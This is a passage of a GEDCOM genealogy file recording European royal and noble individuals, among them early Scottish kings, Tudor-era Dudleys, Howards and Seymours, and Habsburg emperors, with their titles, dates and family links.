@F1036@\n1 FAMC @F1044@\n0 @I2253@ INDI\n1 NAME Duff  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1037@\n1 FAMC @F1034@\n0 @I2254@ INDI\n1 NAME Kenneth_III  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1039@\n1 FAMC @F1037@\n0 @I2255@ INDI\n1 NAME Beoedhe  //\n1 SEX M\n1 FAMS @F1038@\n1 FAMC @F1039@\n0 @I2256@ INDI\n1 NAME Constantine_IV  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMC @F1040@\n0 @I2257@ INDI\n1 NAME Colin  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1040@\n1 FAMC @F1041@\n0 @I2258@ INDI\n1 NAME Indulf  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1041@\n1 FAMC @F1042@\n0 @I2259@ INDI\n1 NAME Constantine_III  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1042@\n1 FAMC @F1043@\n0 @I2260@ INDI\n1 NAME Aedh  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1043@\n1 FAMC @F1044@\n0 @I2261@ INDI\n1 NAME Kenneth_I  /MacAlpin/\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F1044@\n1 FAMC @F1046@\n0 @I2262@ INDI\n1 NAME Unknown_Dau.  //\n1 SEX F\n1 FAMS @F1045@\n1 FAMC @F1044@\n0 @I2263@ INDI\n1 NAME Run of_Strathclyde //\n1 TITL King\n1 SEX M\n1 FAMS @F1045@\n0 @I2264@ INDI\n1 NAME Eocha  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMC @F1045@\n0 @I2265@ INDI\n1 NAME Alpin  //\n1 TITL King of Scotland\n1 SEX M\n1 DEAT\n2 DATE         834\n1 FAMS @F1046@\n0 @I2266@ INDI\n1 NAME Donald_I  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMC @F1046@\n0 @I2267@ INDI\n1 NAME Charles_II  //\n1 TITL King of Navarre\n1 SEX M\n1 FAMS @F1047@\n0 @I2268@ INDI\n1 NAME Reynald  /Cobham/\n1 TITL Sir\n1 SEX M\n1 FAMS @F1048@\n0 @I2269@ INDI\n1 NAME of_Burgandy  //\n1 TITL Duke\n1 SEX M\n1 FAMS @F1049@\n0 @I2270@ INDI\n1 NAME Peter of_Luxemburg //\n1 TITL Count St. Pol\n1 SEX M\n1 FAMS @F1050@\n0 @I2271@ INDI\n1 NAME Richard  /Woodville/\n1 TITL Earl Rivers\n1 SEX M\n1 FAMS @F1051@\n0 @I2272@ INDI\n1 NAME Rene  //\n1 TITL Count of Anjou\n1 SEX M\n1 FAMS @F1052@\n0 @I2273@ INDI\n1 NAME Thomas of_Heton /Grey/\n1 TITL Sir\n1 SEX M\n1 FAMS @F1053@\n0 @I2274@ INDI\n1 NAME Joachim Frederick of_Brandenburg//\n1 TITL Elector\n1 SEX M\n1 FAMS @F1054@\n0 @I2275@ INDI\n1 NAME Richard  /Pole/\n1 TITL Sir\n1 SEX M\n1 FAMS @F1055@\n0 @I2276@ INDI\n1 NAME John  /De_La_Pole/\n1 TITL Duke of Suffolk\n1 SEX M\n1 FAMS @F1056@\n0 @I2277@ INDI\n1 NAME Thomas  /Holland/\n1 TITL Earl of Kent\n1 SEX M\n1 FAMS @F1057@\n0 @I2278@ INDI\n1 NAME Edward  //\n1 TITL Lord Cherleton\n1 SEX M\n1 FAMS @F1058@\n0 @I2279@ INDI\n1 NAME Edmund  //\n1 TITL Earl of Stafford\n1 SEX M\n1 FAMS @F1059@\n0 @I2280@ INDI\n1 NAME Roger  /Mortimer/\n1 SEX M\n1 DEAT\n2 DATE        1409\n1 FAMC @F492@\n0 @I2281@ INDI\n1 NAME Eleanor  /Mortimer/\n1 SEX F\n1 FAMS @F1060@\n1 FAMC @F492@\n0 @I2282@ INDI\n1 NAME Edward  /Courtenay/\n1 TITL Sir\n1 SEX M\n1 FAMS @F1060@\n0 @I2283@ INDI\n1 NAME Edmund  /Mortimer/\n1 SEX M\n1 DEAT\n2 DATE        1409\n1 FAMC @F494@\n0 @I2284@ INDI\n1 NAME Elizabeth  /Mortimer/\n1 SEX F\n1 FAMS @F1061@\n1 FAMS @F1062@\n1 FAMC @F494@\n0 @I2285@ INDI\n1 NAME Philippa  /Mortimer/\n1 SEX F\n1 DEAT\n2 DATE        1401\n1 FAMS @F1063@\n1 FAMS @F1064@\n1 FAMS @F1065@\n1 FAMC @F494@\n0 @I2286@ INDI\n1 NAME Henry (Hotspur) /Percy/\n1 SEX M\n1 FAMS @F1061@\n0 @I2287@ INDI\n1 NAME Thomas  //\n1 TITL Lord Camoys\n1 SEX M\n1 FAMS @F1062@\n0 @I2288@ INDI\n1 NAME John  /Hastings/\n1 TITL Earl of Pembroke\n1 SEX M\n1 FAMS @F1063@\n0 @I2289@ INDI\n1 NAME Richard  /Fitzalan/\n1 TITL Earl of Arundel\n1 SEX M\n1 FAMS @F1064@\n0 @I2290@ INDI\n1 NAME Thomas of_Basing /Poynings/\n1 TITL Lord St. John\n1 SEX M\n1 FAMS @F1065@\n0 @I2291@ INDI\n1 NAME Charles_IV  //\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1316\n1 DEAT\n2 DATE        1378\n1 FAMS @F1066@\n0 @I2292@ INDI\n1 NAME John  /Holland/\n1 TITL Duke of Exeter\n1 SEX M\n1 FAMS @F1067@\n0 @I2293@ INDI\n1 NAME John  /Cornwall/\n1 TITL Lord Fanhope\n1 SEX M\n1 FAMS @F1068@\n0 @I2294@ INDI\n1 NAME Constance  //\n1 SEX F\n1 FAMS @F1069@\n1 FAMC @F488@\n0 @I2295@ INDI\n1 NAME Thomas of_Gloucester /Despencer/\n1 TITL Earl\n1 SEX M\n1 FAMS @F1069@\n0 @I2296@ INDI\n1 NAME Philippa  //\n1 SEX F\n1 FAMS @F1070@\n1 FAMS @F1071@\n1 FAMS @F1072@\n0 @I2297@ INDI\n1 NAME   /Fitzwater/\n1 TITL Lord\n1 SEX M\n1 FAMS @F1070@\n0 @I2298@ INDI\n1 NAME John  /Golafre/\n1 TITL Sir\n1 SEX M\n1 FAMS @F1071@\n0 @I2299@ INDI\n1 NAME Thomas  /Clifford/\n1 TITL Lord\n1 SEX M\n1 FAMS @F1073@\n0 @I2300@ INDI\n1 NAME John  //\n1 TITL Lord Latymer\n1 SEX M\n1 FAMS @F1074@\n0 @I2301@ INDI\n1 NAME Hugh  /Seymour/\n1 TITL Admiral\n1 SEX M\n1 BIRT\n2 DATE        1759\n1 DEAT\n2 DATE        1801\n1 FAMS @F1019@\n1 FAMC @F1075@\n0 @I2302@ INDI\n1 NAME Anne Horatia /Waldegrave/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1801\n1 FAMS @F1019@\n0 @I2303@ INDI\n1 NAME Francis of_Hertford I/Seymour/\n1 TITL Marquess\n1 SEX M\n1 BIRT\n2 DATE        1718\n1 DEAT\n2 DATE        1794\n1 FAMS @F1075@\n0 @I2304@ INDI\n1 NAME Isabella  //\n1 SEX F\n1 BIRT\n2 DATE        1726\n1 DEAT\n2 DATE        1782\n1 FAMS @F1075@\n1 FAMC @F1076@\n0 @I2305@ INDI\n1 NAME Charles  /Fitzroy/\n1 TITL Duke of Grafton\n1 SEX M\n1 BIRT\n2 DATE        1683\n1 DEAT\n2 DATE        1757\n1 FAMS @F1076@\n1 FAMC @F1077@\n0 @I2306@ INDI\n1 NAME Henrietta  /Somerset/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1726\n1 FAMS @F1076@\n0 @I2307@ INDI\n1 NAME Henry  /Fitzroy/\n1 TITL Duke of Grafton\n1 SEX M\n1 BIRT\n2 DATE        1663\n1 DEAT\n2 DATE        1690\n1 FAMS @F1077@\n0 @I2308@ INDI\n1 NAME Isabella  /Bennett/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1723\n1 FAMS @F1077@\n0 @I2309@ INDI\n1 NAME William of_Northampton /Parr/\n1 TITL Marquess\n1 SEX M\n1 FAMC @F332@\n0 @I2310@ INDI\n1 NAME John Northumberland /Dudley/\n1 TITL Duke\n1 SEX M\n1 DEAT\n2 DATE        1553\n1 FAMS @F1078@\n0 @I2311@ INDI\n1 NAME Jane  /Guildford/\n1 SEX F\n1 FAMS @F1078@\n0 @I2312@ INDI\n1 NAME John  /Dudley/\n1 TITL Earl of Warwick\n1 SEX M\n1 DEAT\n2 DATE        1554\n1 FAMS @F1079@\n1 FAMC @F1078@\n0 @I2313@ INDI\n1 NAME Ambrose  /Dudley/\n1 TITL Earl of Warwick\n1 SEX M\n1 DEAT\n2 DATE        1590\n1 FAMS @F1081@\n1 FAMS @F1082@\n1 FAMS @F1083@\n1 FAMC @F1078@\n0 @I2314@ INDI\n1 NAME Henry  /Dudley/\n1 SEX M\n1 FAMS @F1084@\n1 FAMC @F1078@\n0 @I2315@ INDI\n1 NAME Robert of_Leicester /Dudley/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1588\n1 FAMS @F1089@\n1 FAMS @F1090@\n1 FAMC @F1078@\n0 @I2316@ INDI\n1 NAME Jane  /Dudley/\n1 SEX F\n1 FAMS @F1086@\n1 FAMC @F1078@\n0 @I2317@ INDI\n1 NAME Mary  /Dudley/\n1 SEX F\n1 DEAT\n2 DATE        1586\n1 FAMS @F1087@\n1 FAMC @F1078@\n0 @I2318@ INDI\n1 NAME Catherine  /Dudley/\n1 SEX F\n1 FAMS @F1088@\n1 FAMC @F1078@\n0 @I2319@ INDI\n1 NAME Anne  /Seymour/\n1 SEX F\n1 DEAT\n2 DATE        1588\n1 FAMS @F1079@\n1 FAMS @F1080@\n1 FAMC @F1125@\n0 @I2320@ INDI\n1 NAME Edward  /Unton/\n1 SEX M\n1 FAMS @F1080@\n0 @I2321@ INDI\n1 NAME Anne  /Whorwood/\n1 SEX F\n1 DEAT\n2 DATE        1552\n1 FAMS @F1081@\n0 @I2322@ INDI\n1 NAME Elizabeth  /Talboys/\n1 SEX F\n1 FAMS @F1082@\n0 @I2323@ INDI\n1 NAME Anne  /Russell/\n1 SEX F\n1 DEAT\n2 DATE        1603\n1 FAMS @F1083@\n0 @I2324@ INDI\n1 NAME John  /Dudley/\n1 SEX M\n1 FAMC @F1081@\n0 @I2325@ INDI\n1 NAME Margaret  /Audley/\n1 SEX F\n1 DEAT\n2 DATE        1563\n1 FAMS @F1084@\n1 FAMS @F1085@\n0 @I2326@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Duke of Norfolk\n1 SEX M\n1 DEAT\n2 DATE        1572\n1 FAMS @F1085@\n0 @I2327@ INDI\n1 NAME Henry  /Seymour/\n1 SEX M\n1 FAMS @F1086@\n1 FAMC @F1125@\n0 @I2328@ INDI\n1 NAME Henry  /Sidney/\n1 SEX M\n1 DEAT\n2 DATE        1586\n1 FAMS @F1087@\n0 @I2329@ INDI\n1 NAME Henry of_Huntington /Hastings/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1595\n1 FAMS @F1088@\n0 @I2330@ INDI\n1 NAME Amy  /Robsart/\n1 SEX F\n1 DEAT\n2 DATE        1560\n1 FAMS @F1089@\n0 @I2331@ INDI\n1 NAME Lettice  /Knollys/\n1 SEX F\n1 DEAT\n2 DATE        1634\n1 FAMS @F1134@\n1 FAMS @F1090@\n1 FAMS @F1135@\n1 FAMC @F1132@\n0 @I2332@ INDI\n1 NAME Henry  /Herbert/\n1 SEX M\n1 FAMS @F1091@\n0 @I2333@ INDI\n1 NAME Thomas  /Keyes/\n1 SEX M\n1 DEAT\n2 DATE        1571\n1 FAMS @F1092@\n0 @I2334@ INDI\n1 NAME Margaret  /Clifford/\n1 SEX F\n1 DEAT\n2 DATE        1596\n1 FAMS @F1093@\n1 FAMC @F934@\n0 @I2335@ INDI\n1 NAME Henry  /Stanley/\n1 TITL Earl of Derby\n1 SEX M\n1 DEAT\n2 DATE        1593\n1 FAMS @F1093@\n0 @I2336@ INDI\n1 NAME Anne  /Dacre/\n1 SEX F\n1 DEAT\n2 DATE        1581\n1 FAMS @F1094@\n0 @I2337@ INDI\n1 NAME Elizabeth  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1512\n1 FAMS @F931@\n1 FAMC @F1096@\n0 @I2338@ INDI\n1 NAME George Rochford /Boleyn/\n1 TITL Viscount\n1 SEX M\n1 DEAT\n2 DATE        1536\n1 FAMC @F931@\n0 @I2339@ INDI\n1 NAME Mary  /Boleyn/\n1 SEX F\n1 DEAT\n2 DATE        1544\n1 FAMS @F1095@\n1 FAMC @F931@\n0 @I2340@ INDI\n1 NAME William  /Carey/\n1 SEX M\n1 DEAT\n2 DATE        1528\n1 FAMS @F1095@\n0 @I2341@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Duke of Norfolk\n1 SEX M\n1 DEAT\n2 DATE        1524\n1 FAMS @F1096@\n1 FAMS @F1100@\n0 @I2342@ INDI\n1 NAME Elizabeth  /Tilney/\n1 SEX F\n1 DEAT\n2 DATE        1497\n1 FAMS @F1096@\n0 @I2343@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Duke of Norfolk\n1 SEX M\n1 FAMS @F1097@\n1 FAMS @F1098@\n1 FAMC @F1096@\n0 @I2344@ INDI\n1 NAME Anne of_York //\n1 SEX F\n1 DEAT\n2 DATE        1511\n1 FAMS @F1097@\n0 @I2345@ INDI\n1 NAME Elizabeth  /Stafford/\n1 SEX F\n1 DEAT\n2 DATE        1558\n1 FAMS @F1098@\n0 @I2346@ INDI\n1 NAME Dorothy  /Troyes/\n1 SEX F\n1 FAMS @F1099@\n0 @I2347@ INDI\n1 NAME Agnes  /Tilney/\n1 SEX F\n1 DEAT\n2 DATE        1545\n1 FAMS @F1100@\n0 @I2348@ INDI\n1 NAME William of_Effingham /Howard/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1572\n1 FAMS @F1101@\n1 FAMS @F1102@\n1 FAMC @F1100@\n0 @I2349@ INDI\n1 NAME Dorothy  /Howard/\n1 SEX F\n1 FAMS @F1103@\n1 FAMC @F1100@\n0 @I2350@ INDI\n1 NAME Elizabeth  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1534\n1 FAMS @F1104@\n1 FAMC @F1100@\n0 @I2351@ INDI\n1 NAME Catherine  /Broughton/\n1 SEX F\n1 DEAT\n2 DATE        1531\n1 FAMS @F1101@\n0 @I2352@ INDI\n1 NAME Margaret  /Gamage/\n1 SEX F\n1 DEAT\n2 DATE        1535\n1 FAMS @F1102@\n0 @I2353@ INDI\n1 NAME Edward  /Stanley/\n1 TITL Earl of Derby\n1 SEX M\n1 DEAT\n2 DATE        1572\n1 FAMS @F1103@\n0 @I2354@ INDI\n1 NAME Henry  /Radcliffe/\n1 TITL Earl of Sussex\n1 SEX M\n1 DEAT\n2 DATE        1556/1557\n1 FAMS @F1104@\n0 @I2355@ INDI\n1 NAME Henry  /Howard/\n1 TITL Earl of Surrey\n1 SEX M\n1 DEAT\n2 DATE        1546\n1 FAMS @F1105@\n1 FAMC @F1098@\n0 @I2356@ INDI\n1 NAME Mary  /Howard/\n1 SEX F\n1 FAMS @F1106@\n1 FAMC @F1098@\n0 @I2357@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Viscount Bindon\n1 SEX M\n1 DEAT\n2 DATE        1582\n1 FAMS @F1107@\n1 FAMC @F1098@\n0 @I2358@ INDI\n1 NAME Frances de_Vere //\n1 SEX F\n1 DEAT\n2 DATE        1577\n1 FAMS @F1105@\n0 @I2359@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Duke of Norfolk\n1 SEX M\n1 DEAT\n2 DATE        1572\n1 FAMS @F1108@\n1 FAMS @F1111@\n1 FAMC @F1105@\n0 @I2360@ INDI\n1 NAME Henry of_Northhampton /Howard/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1614\n1 FAMC @F1105@\n0 @I2361@ INDI\n1 NAME Catherine  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1596\n1 FAMC @F1105@\n0 @I2362@ INDI\n1 NAME Jane  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1593\n1 FAMC @F1105@\n0 @I2363@ INDI\n1 NAME Margaret  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1592\n1 FAMC @F1105@\n0 @I2364@ INDI\n1 NAME Henry  /Fitzroy/\n1 TITL Duke of Richmond\n1 SEX M\n1 DEAT\n2 DATE        1533\n1 FAMS @F1106@\n0 @I2365@ INDI\n1 NAME Gertrude  /Lyte/\n1 SEX F\n1 FAMS @F1107@\n0 @I2366@ INDI\n1 NAME Mary  /Fitzalan/\n1 SEX F\n1 DEAT\n2 DATE        1557\n1 FAMS @F1108@\n0 @I2367@ INDI\n1 NAME Philip  /Howard/\n1 TITL Earl of Arundel\n1 SEX M\n1 DEAT\n2 DATE        1595\n1 FAMS @F1109@\n1 FAMC @F1108@\n0 @I2368@ INDI\n1 NAME Anne  /Dacre/\n1 SEX F\n1 FAMS @F1109@\n0 @I2369@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Earl of Arundel\n1 SEX M\n1 DEAT\n2 DATE        1646\n1 FAMS @F1110@\n1 FAMC @F1109@\n0 @I2370@ INDI\n1 NAME Aletheia  /Talbot/\n1 SEX F\n1 DEAT\n2 DATE        1654\n1 FAMS @F1110@\n0 @I2371@ INDI\n1 NAME Margaret  /Audley/\n1 SEX F\n1 DEAT\n2 DATE        1563\n1 FAMS @F1111@\n0 @I2372@ INDI\n1 NAME Thomas  /Howard/\n1 TITL Earl of Suffolk\n1 SEX M\n1 DEAT\n2 DATE        1626\n1 FAMS @F1112@\n1 FAMS @F1113@\n1 FAMC @F1111@\n0 @I2373@ INDI\n1 NAME Mary  /Dacre/\n1 SEX F\n1 DEAT\n2 DATE        1576\n1 FAMS @F1112@\n0 @I2374@ INDI\n1 NAME Catherine  /Knyvett/\n1 SEX F\n1 DEAT\n2 DATE        1633\n1 FAMS @F1113@\n0 @I2375@ INDI\n1 NAME Theophilus  /Howard/\n1 TITL Earl of Suffolk\n1 SEX M\n1 DEAT\n2 DATE        1640\n1 FAMS @F1114@\n1 FAMC @F1113@\n0 @I2376@ INDI\n1 NAME Thomas of_Berkshire /Howard/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1669\n1 FAMS @F1115@\n1 FAMC @F1113@\n0 @I2377@ INDI\n1 NAME Henry  /Howard/\n1 SEX M\n1 FAMS @F1116@\n1 FAMC @F1113@\n0 @I2378@ INDI\n1 NAME Catherine  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1672\n1 FAMS @F1118@\n1 FAMC @F1113@\n0 @I2379@ INDI\n1 NAME Frances  /Howard/\n1 SEX F\n1 FAMS @F1119@\n1 FAMS @F1120@\n1 FAMC @F1113@\n0 @I2380@ INDI\n1 NAME Elizabeth  /Dunbar/\n1 SEX F\n1 FAMS @F1114@\n0 @I2381@ INDI\n1 NAME Elizabeth  /Cecil/\n1 SEX F\n1 FAMS @F1115@\n0 @I2382@ INDI\n1 NAME Elizabeth  /Bassett/\n1 SEX F\n1 DEAT\n2 DATE        1643\n1 FAMS @F1116@\n1 FAMS @F1117@\n0 @I2383@ INDI\n1 NAME William of_Newcastle /Cavendish/\n1 TITL Earl\n1 SEX M\n1 FAMS @F1117@\n0 @I2384@ INDI\n1 NAME William of_Berkshire /Cecil/\n1 TITL Earl\n1 SEX M\n1 DEAT\n2 DATE        1668\n1 FAMS @F1118@\n0 @I2385@ INDI\n1 NAME Robert  /Devereux/\n1 TITL Earl of Essex\n1 SEX M\n1 DEAT\n2 DATE        1646\n1 FAMS @F1119@\n0 @I2386@ INDI\n1 NAME Robert  /Carr/\n1 TITL Earl of Somerset\n1 SEX M\n1 DEAT\n2 DATE        1645\n1 FAMS @F1120@\n0 @I2387@ INDI\n1 NAME William  /Howard/\n1 SEX M\n1 DEAT\n2 DATE        1640\n1 FAMS @F1121@\n1 FAMC @F1111@\n0 @I2388@ INDI\n1 NAME Elizabeth  /Dacre/\n1 SEX F\n1 FAMS @F1121@\n0 @I2389@ INDI\n1 NAME Frances  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1598\n1 FAMS @F1122@\n0 @I2390@ INDI\n1 NAME Frances  /Howard/\n1 SEX F\n1 DEAT\n2 DATE        1639\n1 FAMS @F1123@\n1 FAMS @F1124@\n0 @I2391@ INDI\n1 NAME Ludovic of_Richmond /Stuart/\n1 TITL Duke of Lennox\n1 SEX M\n1 FAMS @F1124@\n0 @I2392@ INDI\n1 NAME Edward  /Seymour/\n1 TITL Duke of Somerset\n1 SEX M\n1 DEAT\n2 DATE        1552\n1 FAMS @F1126@\n1 FAMS @F1125@\n0 @I2393@ INDI\n1 NAME Anne  /Stanhope/\n1 SEX F\n1 DEAT\n2 DATE        1587\n1 FAMS @F1125@\n0 @I2394@ INDI\n1 NAME Henry  /Carey/\n1 TITL Baron Hunsdon\n1 SEX M\n1 DEAT\n2 DATE        1596\n1 FAMS @F1131@\n1 FAMC @F1095@\n0 @I2395@ INDI\n1 NAME Catherine  /Fillol/\n1 SEX F\n1 FAMS @F1126@\n0 @I2396@ INDI\n1 NAME Edward Beauchamp /Seymour/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1618\n1 FAMS @F1127@\n1 FAMC @F938@\n0 @I2397@ INDI\n1 NAME Francis  /Seymour/\n1 TITL Baron Seymour\n1 SEX M\n1 DEAT\n2 DATE        1664\n1 FAMS @F1129@\n1 FAMS @F1130@\n1 FAMC @F938@\n0 @I2398@ INDI\n1 NAME Honora  /Seymour/\n1 SEX F\n1 DEAT\n2 DATE        1620\n1 FAMC @F938@\n0 @I2399@ INDI\n1 NAME Anne  /Sackville/\n1 SEX F\n1 FAMS @F1127@\n1 FAMS @F1128@\n0 @I2400@ INDI\n1 NAME Edward  /Lewes/\n1 SEX M\n1 FAMS @F1128@\n0 @I2401@ INDI\n1 NAME Frances  /Prynne/\n1 SEX F\n1 FAMS @F1129@\n0 @I2402@ INDI\n1 NAME Catherine  /Lee/\n1 SEX F\n1 DEAT\n2 DATE        1700\n1 FAMS @F1130@\n0 @I2403@ INDI\n1 NAME Catherine  /Carey/\n1 SEX F\n1 DEAT\n2 DATE        1568\n1 FAMS @F1132@\n1 FAMC @F1095@\n0 @I2404@ INDI\n1 NAME Anne  /Morgan/\n1 SEX F\n1 FAMS @F1131@\n0 @I2405@ INDI\n1 NAME Francis  /Knollys/\n1 SEX M\n1 DEAT\n2 DATE        1596\n1 FAMS @F1132@\n0 @I2406@ INDI\n1 NAME Henry  /Knollys/\n1 SEX M\n1 DEAT\n2 DATE        1583\n1 FAMS @F1133@\n1 FAMC @F1132@\n0 @I2407@ INDI\n1 NAME William  /Knollys/\n1 TITL Earl of Banbury\n1 SEX M\n1 DEAT\n2 DATE        1632\n1 FAMC @F1132@\n0 @I2408@ INDI\n1 NAME Anne  /Knollys/\n1 SEX F\n1 FAMS @F1136@\n1 FAMC @F1132@\n0 @I2409@ INDI\n1 NAME Catherine  /Knollys/\n1 SEX F\n1 FAMS @F1137@\n1 FAMC @F1132@\n0 @I2410@ INDI\n1 NAME Margaret  /Cave/\n1 SEX F\n1 DEAT\n2 DATE        1606\n1 FAMS @F1133@\n0 @I2411@ INDI\n1 NAME Walter  /Devereux/\n1 TITL Earl of Essex\n1 SEX M\n1 DEAT\n2 DATE        1576\n1 FAMS @F1134@\n0 @I2412@ INDI\n1 NAME Christopher  /Blount/\n1 SEX M\n1 DEAT\n2 DATE        1601\n1 FAMS @F1135@\n0 @I2413@ INDI\n1 NAME Thomas  /Leighton/\n1 TITL Lord De La Warr\n1 SEX M\n1 FAMS @F1136@\n0 @I2414@ INDI\n1 NAME Gerald  /Fitzgerald/\n1 TITL Lord Offaley\n1 SEX M\n1 DEAT\n2 DATE        1580\n1 FAMS @F1137@\n0 @I2415@ INDI\n1 NAME Charles  //\n1 SEX M\n1 DEAT\n2 DATE        1685\n1 FAMC @F940@\n0 @I2416@ INDI\n1 NAME Mariana of_Austria //\n1 SEX F\n1 FAMS @F947@\n1 FAMC @F1138@\n0 @I2417@ INDI\n1 NAME Maria  //\n1 SEX F\n1 FAMS @F1138@\n1 FAMC @F522@\n0 @I2418@ INDI\n1 NAME Ferdinand_III  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE        1608\n2 PLAC Graz,Austria\n1 DEAT\n2 DATE        1657\n1 FAMS @F1138@\n1 FAMC @F1139@\n0 @I2419@ INDI\n1 NAME Ferdinand_II  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE        1578\n2 PLAC Graz,Austria\n1 DEAT\n2 DATE        1637\n1 FAMS @F1139@\n0 @I2420@ INDI\n1 NAME Leopold_I  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE        1640\n2 PLAC Vienna,Austria\n1 DEAT\n2 DATE  5 MAY 1705\n1 FAMS @F1140@\n1 FAMS @F1141@\n1 FAMC @F1138@\n0 @I2421@ INDI\n1 NAME Margaret Teresa //\n1 SEX F\n1 BIRT\n2 DATE        1651\n1 DEAT\n2 DATE        1673\n1 FAMS @F1140@\n1 FAMC @F947@\n0 @I2422@ INDI\n1 NAME Eleanor of_Neuburg //\n1 SEX F\n1 FAMS @F1141@\n0 @I2423@ INDI\n1 NAME Louis de_France //\n1 TITL Dauphin\n1 SEX M\n1 BIRT\n2 DATE        1661\n1 DEAT\n2 DATE        1711\n1 FAMS @F1143@\n1 FAMC @F523@\n0 @I2424@ INDI\n1 NAME Philip_V  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1683\n2 PLAC Versailles,France\n1 DEAT\n2 DATE        1746\n1 FAMS @F1350@\n1 FAMS @F1142@\n1 FAMC @F1143@\n0 @I2425@ INDI\n1 NAME Isabella Elizabeth /Farnese/\n1 SEX F\n1 BIRT\n2 DATE        1692\n1 DEAT\n2 DATE        1766\n1 FAMS @F1142@\n0 @I2426@ INDI\n1 NAME Louis  //\n1 TITL Duke of Burgundy\n1 SEX M\n1 BIRT\n2 DATE        1682\n1 DEAT\n2 DATE        1712\n1 FAMS @F344@\n1 FAMC @F1143@\n0 @I2427@ INDI\n1 NAME Maria Antonia //\n1 SEX F\n1 FAMS @F1144@\n1 FAMC @F1140@\n0 @I2428@ INDI\n1 NAME Maximilian Emmanuel of_Bavaria//\n1 TITL Elector\n1 SEX M\n1 FAMS @F1144@\n0 @I2429@ INDI\n1 NAME Joseph Ferdinand //\n1 TITL Electoral Prince\n1 SEX M\n1 DEAT\n2 DATE        1699\n1 FAMC @F1144@\n0 @I2430@ INDI\n1 NAME Joseph_I  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE        1678\n1 DEAT\n2 DATE        1711\n1 FAMC @F1141@\n0 @I2431@ INDI\n1 NAME Charles_VI  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE        1685\n2 PLAC Vienna,Austria\n1 DEAT\n2 DATE        1740\n1 FAMS @F1146@\n1 FAMC @F1141@\n0 @I2432@ INDI\n1 NAME Maria Theresa //\n1 TITL Empress\n1 SEX F\n1 DEAT\n2 DATE        1780\n1 FAMS @F1145@\n1 FAMC @F1146@\n0 @I2433@ INDI\n1 NAME Francis_I Stephen //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE        1708\n2 PLAC Nancy,Lorraine\n1 DEAT\n2 DATE        1765\n1 FAMS @F1145@\n0 @I2434@ INDI\n1 NAME Joseph_II  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE 13 MAR 1741\n2 PLAC Vienna,Austria\n1 DEAT\n2 DATE        1790\n1 FAMC @F1145@\n0 @I2435@ INDI\n1 NAME Eugene of_Leuchtenberg /de_Beauharnais/\n1 TITL Duke\n1 SEX M\n1 FAMS @F1149@\n0 @I2436@ INDI\n1 NAME Augusta of_Bavaria //\n1 SEX F\n1 FAMS @F1149@\n0 @I2437@ INDI\n1 NAME Francis Charles //\n1 TITL Archduke\n1 SEX M\n1 BIRT\n2 DATE        1802\n1 DEAT\n2 DATE        1878\n1 FAMS @F1150@\n0 @I2438@ INDI\n1 NAME Henry_II  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 31 MAR 1519\n2 PLAC Saint-Germain,en-Laye\n1 DEAT\n2 DATE 10 JUL 1559\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1148@\n1 FAMC @F728@\n0 @I2439@ INDI\n1 NAME Catherine of_Florence /de_Medici/\n1 SEX F\n1 BIRT\n2 DATE        1519\n1 DEAT\n2 DATE        1589\n1 FAMS @F1148@\n0 @I2440@ INDI\n1 NAME Claude of_France //\n1 SEX F\n1 BIRT\n2 DATE        1499\n1 DEAT\n2 DATE        1524\n1 FAMS @F728@\n1 FAMC @F1201@\n0 @I2441@ INDI\n1 NAME Margaret of_Navarre //\n1 SEX F\n1 FAMC @F729@\n0 @I2442@ INDI\n1 NAME John_II (Juan_II) //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE        1405\n1 DEAT\n2 DATE        1454\n1 FAMS @F1152@\n0 @I2443@ INDI\n1 NAME Isabella of_Portugal //\n1 SEX F\n1 FAMS @F1152@\n0 @I2444@ INDI\n1 NAME Walter  /Sommerlath/\n1 SEX M\n1 FAMS @F1153@\n0 @I2445@ INDI\n1 NAME Alice  /de_Toledo/\n1 SEX F\n1 FAMS @F1153@\n0 @I2446@ INDI\n1 NAME Victoria Ingrid Alice//\n1 TITL Princess\n1 SEX F\n1 